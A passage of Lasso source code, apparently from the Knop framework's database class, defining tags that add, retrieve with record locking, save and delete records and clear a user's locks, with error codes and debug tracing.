capturesearchvars;\n\t\t/inline;\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': found ' (self -> 'found_count') + ' records in ' + (self -> 'querytime') + ' ms, tag time ' + (self -> 'tagtime') + ' ms, ' + (self -> error_msg) + ' ' + (self -> error_code));\n\t/define_tag;\n\n\n\tdefine_tag: 'addrecord', -description='Add a new record to the database. A random string keyvalue will be generated unless a -keyvalue is specified. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-fields (required array) Lasso-style field values in pair array\\n\\\n\t\t\t-keyvalue (optional) If -keyvalue is specified, it must not already exist in the database. Specify -keyvalue=false to prevent generating a keyvalue. \\n\\\n\t\t\t-inlinename (optional) Defaults to autocreated inlinename',\n\t\t-required='fields', -type='array',\n\t\t-optional='keyvalue', -copy,\n\t\t-optional='inlinename';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\t// clear all search result vars\n\t\tself -> reset;\n\t\tlocal: '_fields'=#fields;\n\t\t\n\t\t// remove all database actions from the search array\n\t\t#_fields -> (removeall: '-search') & (removeall: '-add') & (removeall: '-delete') & (removeall: '-update') \n\t\t\t& (removeall: '-sql') & (removeall: '-nothing') & (removeall: '-show')\n\t\t\t// & (removeall: '-table')  // table is ok to override\n\t\t\t& (removeall: '-database');\n\n\t\tinline: (self -> 'db_connect'); // connection wrapper\n\t\t\tif: (local: 'keyvalue') != '' && (local: 'keyvalue') !== false && (self -> 'keyfield')!='';\n\t\t\t\t// look for existing keyvalue\n\t\t\t\tinline: -op='eq', (self -> 'keyfield')=#keyvalue, \n\t\t\t\t\t-maxrecords=1,\n\t\t\t\t\t-returnfield=(self -> 'keyfield'),\n\t\t\t\t\t-search;\n\t\t\t\t\tif: found_count > 0;\n\t\t\t\t\t\t(self -> 'error_code') = 7017; // duplicate keyvalue\n\t\t\t\t\telse;\n\t\t\t\t\t\t(self -> 'keyvalue') = #keyvalue;\n\t\t\t\t\t/if;\n\t\t\t\t/inline;\n\t\t\t/if;\n\n\t\t\t\n\t\t\tif: (self -> 'error_code') == 0;\n\t\t\t\t// proceed to add record\n\n\t\t\t\tif: (self -> 'keyfield') != '';\n\t\t\t\t\tif: (local: 'keyvalue') == '' && (local: 'keyvalue') !== false;\n\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': generating keyvalue');\n\t\t\t\t\t\t// create unique keyvalue\n\t\t\t\t\t\t(self -> 'keyvalue')=knop_unique;\n\t\t\t\t\t/if;\n\t\t\t\t\t#_fields -> (removeall: (self -> 'keyfield'));\n\t\t\t\t\t#_fields -> (removeall: '-keyfield') & (removeall: '-keyvalue');\n\t\t\t\t\t#_fields -> (insert: '-keyfield'=(self -> 'keyfield'));\n\t\t\t\t\tif: (local: 'keyvalue') !== false;\n\t\t\t\t\t\t#_fields -> (insert: (self -> 'keyfield')=(self -> 'keyvalue'));\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\n\t\t\t\t// inlinename defaults to a random string\n\t\t\t\t(self -> 'inlinename') = ((local: 'inlinename') != '' ? #inlinename | 'inline_' + knop_unique);\n\t\t\t\t#_fields -> (removeall: '-inlinename');\n\t\t\t\t#_fields -> (insert: '-inlinename'=(self -> 'inlinename'));\n\t\t\t\t\n\t\t\t\tlocal: 'querytimer'=knop_timer;\n\t\t\t\tinline: #_fields, -add;\n\t\t\t\t\t(self -> 'querytime') = integer: #querytimer;\n\t\t\t\t\t(self -> 'searchparams') = #_fields;\n\t\t\t\t\n\t\t\t\t\tself -> capturesearchvars;\n\t\t\t\t\tif: error_code != 0;\n\t\t\t\t\t\t(self -> 'keyvalue') = null;\n\t\t\t\t\t/if;\n\t\t\t\t/inline;\n\t\t\t/if;\n\t\t/inline;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> error_msg) + ' ' + (self -> error_code) \n\t\t\t+ ' keyvalue ' + (self -> 'keyvalue') + ' ' + (self -> 'tagtime') + ' ms');\n\t/define_tag;\n\n\n\tdefine_tag: 'getrecord', -description='Returns a single specific record from the database, optionally locking the record. \\\n\t\t\tIf the keyvalue matches multiple records, an error is returned. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-keyvalue (optional) Uses a previously set keyvalue if not specified. If no keyvalue is available, an error is returned unless -sql is used. \\n\\\n\t\t\t-keyfield (optional) Temporarily override of keyfield specified at oncreate\\n\\\n\t\t\t-inlinename (optional) Defaults to autocreated inlinename\\n\\\n\t\t\t-lock (optional flag) If flag is specified, a record lock will be set\\n\\\n\t\t\t-user (optional) The user who is locking the record (required if using lock)\\n\\\n\t\t\t-sql (optional) SQL statement to use instead of keyvalue. Must include the keyfield (and lockfield of locking is used).',\n\t\t-optional='keyvalue', -copy,\n\t\t-optional='keyfield',\n\t\t-optional='inlinename', -copy,\n\t\t-optional='lock',\n\t\t-optional='user', -copy,\n\t\t-optional='sql', -type='string';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal: '_sql'=(local: 'sql');\n\n\t\tif: #_sql != '' && (self -> 'isfilemaker');\n\t\t\t#_sql='';\n\t\t\tfail: 7009, self -> error_msg(7009); // sql can not be used with filemaker\n\t\t/if;\n\t\t\n\t\t// get existing record pointer if any\n\t\tif: #_sql -> size == 0 && !(local_defined: 'keyvalue');\n\t\t\tlocal: 'keyvalue'=(self -> 'keyvalue');\n\t\telse: !(local_defined: 'keyvalue');\n\t\t\tlocal: 'keyvalue'=string;\n\t\t/if;\n\n\t\t// clear all search result vars\n\t\tself -> reset;\n\t\t\n\t\tfail_if: !(local_defined: 'keyfield') && (self -> 'keyfield') == '', 7002, self -> error_msg(7002); // Keyfield not specified\n\t\tif: (local_defined: 'lock') && #lock != false;\n\t\t\tfail_if: (self -> 'lockfield') == '', 7003, self -> error_msg(7003); // Lockfield must be specified to get record with lock\n\t\t\tif: !(local_defined: 'user') && ((self -> 'user') != '' || (self -> 'user') -> isa('user'));\n\t\t\t\t// use user from database object\n\t\t\t\tlocal('user' = (self -> 'user'));\n\t\t\t/if;\n\t\t\tfail_if: (local: 'user') == '' && !((local: 'user') -> isa('user')), 7004, self -> error_msg(7004); // User must be specified to get record with lock\n\t\t\t(self -> 'debug_trace') -> insert(tag_name ': user is type ' + (#user -> type) + ', isa(user) = ' + (#user -> isa('user')) );\n\t\t\tif: #user -> isa('user');\n\t\t\t\t#user= #user -> id_user;\n\t\t\t\tfail_if: #user == '', 7004, self -> error_msg(7004); // User must be logged in to get record with lock\n\t\t\t/if;\n\t\t\t(self -> 'debug_trace') -> insert(tag_name ': user id is ' + #user);\n\t\t/if;\n\t\tif: !(local_defined: 'keyfield') && (self -> 'keyfield') != '';\n\t\t\tlocal: 'keyfield'=(self -> 'keyfield');\n\t\t/if;\n\t\tif:  #_sql -> size == 0 && string(#keyvalue) -> size == 0;\n\t\t\t(self -> 'error_code') = 7007; // keyvalue missing\n\t\t/if;\n\t\tif: (self -> 'error_code') == 0;\n\t\t\tinline: (self -> 'db_connect'); // connection wrapper\n\n\t\t\t\tif: #_sql -> size;\n\t\t\t\t\tself -> (select: -sql=#_sql, -inlinename=(local: 'inlinename'));\n\t\t\t\t\t#keyvalue = (self -> 'keyvalue');\n\t\t\t\telse;\n\t\t\t\t\tself -> (select: -keyfield=#keyfield, -keyvalue=#keyvalue, -inlinename=(local: 'inlinename'));\n\t\t\t\t/if;\n\t\t\t\tif: (self -> field_names) !>> #keyfield;\n\t\t\t\t\t(self -> 'error_code') = 7020; // Keyfield not present in query\n\t\t\t\t/if;\n\t\t\t\tif: (self -> field_names) !>> (self -> 'lockfield') && (local_defined: 'lock') && #lock != false;\n\t\t\t\t\t(self -> 'error_code') = 7021; // Lockfield not present in query\n\t\t\t\t/if;\n\t\t\t\t\n\t\t\t\tif: (self -> 'found_count') == 0 && (self -> 'error_code') == 0;\n\t\t\t\t\t(self -> 'error_code') = -1728;\n\t\t\t\telse: (self -> 'found_count') > 1 && (self -> 'error_code') == 0;\n\t\t\t\t\tself -> reset;\n\t\t\t\t\t(self -> 'error_code') = 7008; // keyvalue not unique\n\t\t\t\t/if;\n\t\t\n\t\t\n\t\t\t\t// handle record locking\n\t\t\t\tif: (self -> 'error_code') == 0 && (local_defined: 'lock') && #lock != false;\n\t\t\t\t\t// check for current lock\n\t\t\t\t\tif: (self -> 'lockvalue') != '';\n\t\t\t\t\t\t// there is a lock already set, check if it has expired or if it is the same user\n\t\t\t\t\t\tlocal: 'lockvalue'=(self -> 'lockvalue') -> (split: '|');\n\t\t\t\t\t\tlocal: 'lock_timestamp'=date: (#lockvalue->size > 1 ? #lockvalue -> (get: 2) | null);\n\t\t\t\t\t\tlocal: 'lock_user'=#lockvalue -> first;\n\t\t\t\t\t\tif: (date - #lock_timestamp) -> seconds < (self -> 'lock_expires')\n\t\t\t\t\t\t\t&& #lock_user != #user;\n\t\t\t\t\t\t\t// the lock is still valid and it is locked by another user\n\t\t\t\t\t\t\t// this is not a real error, more a warning condition\n\t\t\t\t\t\t\t(self -> 'error_code') = 7010; \n\t\t\t\t\t\t\t(self -> 'error_data') = (map: 'user' = #lock_user, 'timestamp' = #lock_timestamp);\n\t\t\t\t\t\t\t(self -> 'keyvalue') = null;\n\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name ': record ' + #keyvalue + ' was already locked by ' + #lock_user + '.');\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/if;\n\t\t\t\t\tif: (self -> 'error_code') == 0;\n\t\t\t\t\t\t// go ahead and lock record\n\t\t\t\t\t\t(self -> 'lockvalue') = #user + '|' + (date -> format: '%Q %T');\n\t\t\t\t\t\t(self -> 'lockvalue_encrypted') = (encrypt_blowfish: (self -> 'lockvalue'), -seed=(self -> 'lock_seed'));\n\t\t\t\t\t\tlocal: 'keyvalue_temp'=#keyvalue;\n\t\t\t\t\t\tif: (self -> 'isfilemaker');\n\t\t\t\t\t\t\t// find internal keyvalue\n\t\t\t\t\t\t\tinline: -op='eq', #keyfield=#keyvalue,\n\t\t\t\t\t\t\t\t-search;\n\t\t\t\t\t\t\t\tif: found_count == 1;\n\t\t\t\t\t\t\t\t\t#keyvalue_temp=keyfield_value;\n\t\t\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': will set record lock for FileMaker record id ' + keyfield_value + ' ' + error_msg + ' ' + error_code);\n\t\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': could not get record id for FileMaker record, ' found_count + ' found ' + + error_msg + ' ' + error_code);\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t/inline;\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tinline: -keyfield=#keyfield,\n\t\t\t\t\t\t\t-keyvalue=#keyvalue_temp, \n\t\t\t\t\t\t\t(self -> 'lockfield')=(self -> 'lockvalue'),\n\t\t\t\t\t\t\t-update;\n\t\t\t\t\t\t\tif: error_code;\n\t\t\t\t\t\t\t\t(self -> 'error_code') = 7012; // could not set record lock\n\t\t\t\t\t\t\t\t(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);\n\t\t\t\t\t\t\t\t(self -> 'lockvalue') = null;\n\t\t\t\t\t\t\t\t(self -> 'lockvalue_encrypted') = null;\n\t\t\t\t\t\t\t\t(self -> 'keyvalue') = null;\n\t\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t\t// lock was set ok\n\t\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': set record lock ' + (self -> 'lockvalue') + ' ' + (self -> 'lockvalue_encrypted'));\n\t\t\t\t\t\t\t\tif: (self -> 'user') -> isa('user');\n\t\t\t\t\t\t\t\t\t// tell user it has locked a record in this db object\n\t\t\t\t\t\t\t\t\t(self -> 'user') -> addlock(-dbname=self -> varname);\n\t\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/inline;\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\t\t\t\t\n\t\t\t/inline;\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> error_msg) + ' ' + (self -> error_code) + ' ' + (self -> 'tagtime') + ' ms');\n\t/define_tag;\n\n\n\tdefine_tag: 'saverecord', -description='Updates a specific database record. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-fields (required array) Lasso-style field values in pair array\\n\\\n\t\t\t-keyfield (optional) Keyfield is ignored if lockvalue is specified\\n\\\n\t\t\t-keyvalue (optional) Keyvalue is ignored if lockvalue is specified\\n\\\n\t\t\t-lockvalue (optional) Either keyvalue or lockvalue must be specified\\n\\\n\t\t\t-keeplock (optional flag) Avoid clearing the record lock when saving. Updates the lock timestamp.\\n\\'\n\t\t\t-user (optional) If lockvalue is specified, user must be specified as well\\n\\\n\t\t\t-inlinename (optional) Defaults to autocreated inlinename',\n\t\t-required='fields', -type='array',\n\t\t-optional='keyfield',\n\t\t-optional='keyvalue', -copy,\n\t\t-optional='lockvalue', -copy,\n\t\t-optional='keeplock',\n\t\t-optional='user', -copy,\n\t\t-optional='inlinename', -copy;\n\t\t\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tif(!local_defined('keyvalue') && string(self -> 'keyvalue') -> size);\n\t\t\t// use current record's keyvalue if any\n\t\t\tlocal('keyvalue'=(self -> 'keyvalue'));\n\t\t/if;\n\n\t\t// clear all search result vars\n\t\tself -> reset;\n\n\t\tfail_if: !(local_defined: 'keyvalue') && !(local_defined: 'lockvalue'), 7005, self -> error_msg(7005); // Either keyvalue or lockvalue must be specified for update or delete\n\t\tfail_if: (local_defined: 'keyvalue') && (self -> 'keyfield') == '' && (local: 'keyfield') == '', 7002, self -> error_msg(7002); // Keyfield not specified\n\t\tif: (local_defined: 'lockvalue');\n\t\t\tfail_if: (self -> 'lockfield') == '', 7003, self -> error_msg(7003); // Lockfield not specified\n\t\t\tif: !(local_defined: 'user') && ((self -> 'user') != '' || (self -> 'user') -> isa('user'));\n\t\t\t\t// use user from database object\n\t\t\t\tlocal('user' = (self -> 'user'));\n\t\t\t/if;\n\t\t\tfail_if: (local: 'user') == '' && !((local: 'user') -> isa('user')), 7004, self -> error_msg(7004); \n\t\t\t(self -> 'debug_trace') -> insert(tag_name ': user is type ' + (#user -> type) + ', isa(user) = ' + (#user -> isa('user')) );\n\t\t\tif: #user -> isa('user');\n\t\t\t\t#user= #user -> id_user;\n\t\t\t\tfail_if: #user == '', 7004, self -> error_msg(7004); // User must be logged in to get record with lock\n\t\t\t/if;\n\t\t\t(self -> 'debug_trace') -> insert(tag_name ': user id is ' + #user);\n\t\t/if;\n\t\t\n\t\t!(local_defined: 'keyfield') ? local: 'keyfield'=self -> 'keyfield';\n\t\t\n\t\tlocal: '_fields'=#fields;\n\t\t\n\t\t// remove all database actions from the search array\n\t\t#_fields -> (removeall: '-search') & (removeall: '-add') & (removeall: '-delete') & (removeall: '-update') \n\t\t\t& (removeall: '-sql') & (removeall: '-nothing') & (removeall: '-show')\n\t\t\t// & (removeall: '-table') // table is ok to override\n\t\t\t& (removeall: '-database');\n\t\t#_fields -> (removeall: '-keyfield') & (removeall: '-keyvalue');\n\n\t\tinline: (self -> 'db_connect'); // connection wrapper\n\n\t\t\t// handle record locking\n\t\t\tif: (self -> 'error_code') == 0 && (local: 'lockvalue') != '';\n\n\t\t\t\t// first check if record was locked by someone else, and that lock is still valid\n\t\t\t\tlocal: 'lock'=(decrypt_blowfish: #lockvalue, -seed=(self -> 'lock_seed')) -> (split: '|');\n\t\t\t\tlocal: 'lock_timestamp'=date: (#lock->size > 1 ? (#lock -> (get: 2)) | null);\n\t\t\t\tlocal: 'lock_user'=#lock -> first;\n\t\t\t\tif: (date - #lock_timestamp) -> seconds < (self -> 'lock_expires')\n\t\t\t\t\t&& #lock_user != #user;\n\t\t\t\t\t// the lock is still valid and it is locked by another user\n\t\t\t\t\t(self -> 'error_code') = 7010; \n\t\t\t\t\t(self -> 'error_data') = (map: 'user' = #lock_user, 'timestamp' = #lock_timestamp);\n\t\t\t\t/if;\n\n\t\t\t\t// check that the current lock is still valid\n\t\t\t\tif: (self -> 'error_code') == 0;\n\t\t\t\t\tinline: -op='eq', (self -> 'lockfield')=#lock -> (join: '|'), \n\t\t\t\t\t\t-maxrecords=1,\n\t\t\t\t\t\t-returnfield=(self -> 'lockfield'),\n\t\t\t\t\t\t-returnfield=(self -> 'keyfield'),\n\t\t\t\t\t\t-search;\n\t\t\t\t\t\tif: error_code == 0 && found_count != 1;\n\t\t\t\t\t\t\t// lock is not valid any more\n\t\t\t\t\t\t\t(self -> 'error_code') = 7011; // Update failed, record lock not valid any more\n\t\t\t\t\t\telse: error_code != 0;\n\t\t\t\t\t\t\t(self -> 'error_code') = 7018; // Update error\n\t\t\t\t\t\t\t(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);\n\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t// lock OK, grab keyvalue for update\n\t\t\t\t\t\t\tlocal: 'keyvalue'=(field: (self -> 'keyfield'));\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/inline;\n\t\t\t\t/if;\n\t\t\t\t\n\t\t\t\tif: (self -> 'error_code') == 0;\n\t\t\t\t\t// go ahead and release record lock by clearing the field value in the update fields array\n\t\t\t\t\t#_fields -> (removeall: (self -> 'lockfield'));\n\t\t\t\t\tif: ((local_defined: 'keeplock') && #keeplock != false);\n\t\t\t\t\t\t// update the lock timestamp\n\t\t\t\t\t\t(self -> 'lockvalue') = #user + '|' + (date -> format: '%Q %T');\n\t\t\t\t\t\t(self -> 'lockvalue_encrypted') = (encrypt_blowfish: (self -> 'lockvalue'), -seed=(self -> 'lock_seed'));\n\t\t\t\t\t\t#_fields -> (insert: (self -> 'lockfield')=(self -> 'lockvalue'));\n\t\t\t\t\telse;\n\t\t\t\t\t\t#_fields -> (insert: (self -> 'lockfield') = '');\n\t\t\t\t\t/if;\n\t\t\t\t/if;\n\n\t\t\t/if;\n\n\t\t\tif: (self -> 'error_code') == 0 && (local: 'keyvalue') != '';\n\t\t\t\tif: (self -> 'isfilemaker');\n\t\t\t\t\tinline: -op='eq', #keyfield=#keyvalue, -search;\n\t\t\t\t\t\tif: found_count == 1;\n\t\t\t\t\t\t\t#_fields -> (insert: '-keyvalue'=keyfield_value);\n\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': FileMaker record id ' + keyfield_value);\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/inline;\n\t\t\t\telse;\n\t\t\t\t\t#_fields -> (insert: '-keyfield'=#keyfield);\n\t\t\t\t\t#_fields -> (insert: '-keyvalue'=#keyvalue);\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif: (#_fields >> '-keyfield' && #_fields -> (find: '-keyfield') -> first -> value != '' || (self -> 'isfilemaker'))\n\t\t\t\t&& #_fields >> '-keyvalue' && #_fields -> (find: '-keyvalue') -> first -> value != '';\n\t\t\t\t// ok to update\n\t\t\telse: (self -> 'error_code') == 0;\n\t\t\t\t(self -> 'error_code') = 7006; // Update failed, keyfield or keyvalue missing';\n\t\t\t/if;\n\n\t\t\t// update record\n\t\t\tif: (self -> 'error_code') == 0;\n\n\t\t\t\t// inlinename defaults to a random string\n\t\t\t\t(self -> 'inlinename') = ((local: 'inlinename') != '' ? #inlinename | 'inline_' + knop_unique);\n\t\t\t\t#_fields -> (removeall: '-inlinename');\n\t\t\t\t#_fields -> (insert: '-inlinename'=(self -> 'inlinename'));\n\t\n\t\t\t\tlocal: 'querytimer'=knop_timer;\n\t\t\t\tinline: #_fields, -update;\n\t\t\t\t\t(self -> 'querytime') = integer: #querytimer;\n\t\t\t\t\t(self -> 'searchparams') = #_fields;\n\t\t\t\t\tself -> capturesearchvars;\n\t\t\t\t/inline;\n\t\t\t/if;\n\t\t/inline;\n\t\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> 'keyvalue') + ' '+ (self -> error_msg) + ' ' + (self -> error_code) + ' ' + (self -> 'tagtime') + ' ms');\n\t/define_tag;\n\n\n\tdefine_tag: 'deleterecord', -description='Deletes a specific database record. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-keyvalue (optional) Keyvalue is ignored if lockvalue is specified\\n\\\n\t\t\t-lockvalue (optional) Either keyvalue or lockvalue must be specified\\n\\\n\t\t\t-user (optional) If lockvalue is specified, user must be specified as well',\n\t\t-optional='keyvalue', -copy,\n\t\t-optional='lockvalue', -copy,\n\t\t-optional='user';\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tif(!local_defined('keyvalue') && string(self -> 'keyvalue') -> size);\n\t\t\t// use current record's keyvalue if any\n\t\t\tlocal('keyvalue'=(self -> 'keyvalue'));\n\t\t/if;\n\n\t\t// clear all search result vars\n\t\tself -> reset;\n\n\t\tfail_if: !(local_defined: 'keyvalue') && !(local_defined: 'lockvalue'), 7005,  self -> error_msg(7005); // Either keyvalue or lockvalue must be specified for update or delete\n\t\tfail_if: (local_defined: 'keyvalue') && (self -> 'keyfield') == '', 7002,  self -> error_msg(7002); // Keyfield not specified\n\t\tif: (local_defined: 'lockvalue');\n\t\t\tfail_if: (self -> 'lockfield') == '', 7003,  self -> error_msg(7003); //  Lockfield not specified\n\t\t\tif: !(local_defined: 'user') && ((self -> 'user') != '' || (self -> 'user') -> isa('user'));\n\t\t\t\t// use user from database object\n\t\t\t\tlocal('user' = (self -> 'user'));\n\t\t\t/if;\n\t\t\tfail_if: (local: 'user') == '' && !((local: 'user') -> isa('user')), 7004, self -> error_msg(7004); \n\t\t\t(self -> 'debug_trace') -> insert(tag_name ': user is type ' + (#user -> type) + ', isa(user) = ' + (#user -> isa('user')) );\n\t\t\tif: #user -> isa('user');\n\t\t\t\t#user= #user -> id_user;\n\t\t\t\tfail_if: #user == '', 7004, self -> error_msg(7004); // User must be logged in to get record with lock\n\t\t\t/if;\n\t\t\t(self -> 'debug_trace') -> insert(tag_name ': user id is ' + #user);\n\t\t/if;\n\t\t\n\t\tlocal: '_fields'=array;\n\t\t\n\t\tinline: (self -> 'db_connect'); // connection wrapper\n\n\t\t\t// handle record locking\n\t\t\tif: (self -> 'error_code') == 0 && (local: 'lockvalue') != '';\n\n\t\t\t\t// first check if record was locked by someone else, and that lock is still valid\n\t\t\t\tlocal: 'lockvalue'=(decrypt_blowfish: #lockvalue, -seed=(self -> 'lock_seed')) -> (split: '|');\n\t\t\t\tlocal: 'lock_timestamp'=date: (#lockvalue->size > 1 ? #lockvalue -> (get: 2) | null);\n\t\t\t\tlocal: 'lock_user'=(#lockvalue -> first);\n\t\t\t\tif: (date - #lock_timestamp) -> seconds < (self -> 'lock_expires')\n\t\t\t\t\t&& #lock_user != #user;\n\t\t\t\t\t// the lock is still valid and it is locked by another user\n\t\t\t\t\t(self -> 'error_code') = 7010; // Delete failed, record locked \n\t\t\t\t\t(self -> 'error_data') = (map: 'user' = #lock_user, 'timestamp' = #lock_timestamp);\n\t\t\t\t/if;\n\n\t\t\t\t// check that the current lock is still valid\n\t\t\t\tif: (self -> 'error_code') == 0;\n\t\t\t\t\tinline: -op='eq', (self -> 'lockfield')=#lockvalue -> (join: '|'), \n\t\t\t\t\t\t-maxrecords=1,\n\t\t\t\t\t\t-returnfield=(self -> 'lockfield'),\n\t\t\t\t\t\t-returnfield=(self -> 'keyfield'),\n\t\t\t\t\t\t-search;\n\t\t\t\t\t\tif: error_code == 0 && found_count != 1;\n\t\t\t\t\t\t\t// lock is not valid any more\n\t\t\t\t\t\t\t(self -> 'error_code') = 7011; // Delete failed, record lock not valid any more';\n\t\t\t\t\t\telse: error_code != 0;\n\t\t\t\t\t\t\t(self -> 'error_code') = 7019; // delete error\n\t\t\t\t\t\t\t(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);\n\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t// lock OK, grab keyvalue for update\n\t\t\t\t\t\t\tlocal: 'keyvalue'=(field: (self -> 'keyfield'));\n\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': got keyvalue ' + #keyvalue + ' for keyfield ' + (self -> 'keyfield'));\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/inline;\n\t\t\t\t/if;\n\t\t\t\t\n\t\t\t/if;\n\n\t\t\tif: (self -> 'error_code') == 0 && (local: 'keyvalue') != '';\n\t\t\t\tif: (self -> 'isfilemaker');\n\t\t\t\t\tinline: -op='eq', (self -> 'keyfield')=#keyvalue, -search;\n\t\t\t\t\t\tif: found_count == 1;\n\t\t\t\t\t\t\t#_fields -> (insert: '-keyvalue'=keyfield_value);\n\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': FileMaker record id ' + keyfield_value);\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/inline;\n\t\t\t\telse;\n\t\t\t\t\t#_fields -> (insert: '-keyfield'=(self -> 'keyfield'));\n\t\t\t\t\t#_fields -> (insert: '-keyvalue'=#keyvalue);\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\t\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': will delete record with params ' + #_fields);\n\t\t\t\n\t\t\tif: (#_fields >> '-keyfield' && #_fields -> (find: '-keyfield') -> first -> value != '' || (self -> 'isfilemaker'))\n\t\t\t\t&& #_fields >> '-keyvalue' && #_fields -> (find: '-keyvalue') -> first -> value != '';\n\t\t\t\t// ok to delete\n\t\t\telse;\n\t\t\t\t(self -> 'error_code') = 7006; // Delete failed, keyfield or keyvalue missing\n\t\t\t/if;\n\t\t\t\n\t\t\t// delete record\n\t\t\tif: (self -> 'error_code') == 0;\n\t\n\t\t\t\tlocal: 'querytimer'=knop_timer;\n\t\t\t\tinline: #_fields, -delete;\n\t\t\t\t\t(self -> 'querytime') = integer: #querytimer;\n\t\t\t\t\t(self -> 'searchparams') = #_fields;\n\t\t\t\t\n\t\t\t\t\tself -> capturesearchvars;\n\t\t\t\t\n\t\t\t\t/inline;\n\t\t\t/if;\n\t\t/inline;\n\t\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> error_msg) + ' ' + (self -> error_code) + ' ' + (self -> 'tagtime') + ' ms');\n\t/define_tag;\n\n\n\tdefine_tag: 'clearlocks', -description='Release all record locks for the specified user, suitable to use when showing record list. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-user (required) The user to unlock records for',\n\t\t-required='user';\n\t\t// release all record locks for the specified user, suitable to use when showing record list\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tfail_if: (self -> 'lockfield') == '', 7003,  self -> error_msg(7003); //  Lockfield not specified\n\t\tfail_if: #user == '', 7004, self -> error_msg(7004); // User not specified\n\t\n\t\tif: (self -> 'isfilemaker');\n\t\t\tinline: (self -> 'db_connect'),\n\t\t\t\t-maxrecords=all,\n\t\t\t\t(self -> 'lockfield')='\"' + #user + '|\"',\n\t\t\t\t-search;\n\t\t\t\tif: found_count > 0;\n\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': clearing locks for ' + #user + ' in ' + found_count + ' FileMaker records ' + error_msg + ' ' + error_code);\n\t\t\t\t\trecords;\n\t\t\t\t\t\tinline: -keyvalue=keyfield_value,\n\t\t\t\t\t\t\t(self -> 'lockfield')='',\n\t\t\t\t\t\t\t-update;\n\t\t\t\t\t\t\tif: error_code;\n\t\t\t\t\t\t\t\t(self -> 'error_code') = 7013; // Clearlocks failed\n\t\t\t\t\t\t\t\t(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);\n\t\t\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': error when clearing lock on FileMaker record ' + keyfield_value + ' ' + error_msg + ' ' + error_code);\n\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t/if;\n\t\t\t\t\t\t/inline;\n\t\t\t\t\t/records;\n\t\t\t\telse: error_code;\n\t\t\t\t\t(self -> 'error_code') = 7013; // Clearlocks failed\n\t\t\t\t\t(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);\n\t\t\t\t/if;\n\t\t\t/inline;\n\t\telse;\n\t\t\tinline: (self -> 'db_connect'),\n\t\t\t\t-sql='UPDATE `' + (self -> 'table_realname') + '` SET `' + (self -> 'lockfield') + '`=\"\"  WHERE `' + (self -> 'lockfield') \n\t\t\t\t\t+ '` LIKE \"' + (encode_sql: #user) + '|%\"';\n\t\t\t\tif: error_code != 0;\n\t\t\t\t\t(self -> 'error_code') = 7013; // Clearlocks failed\n\t\t\t\t\t(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);\n\t\t\t\t/if;\n\t\t\t/inline;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': clearing all locks for ' + #user + ' ' + (self -> error_msg) + ' ' + (self -> error_code));\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert 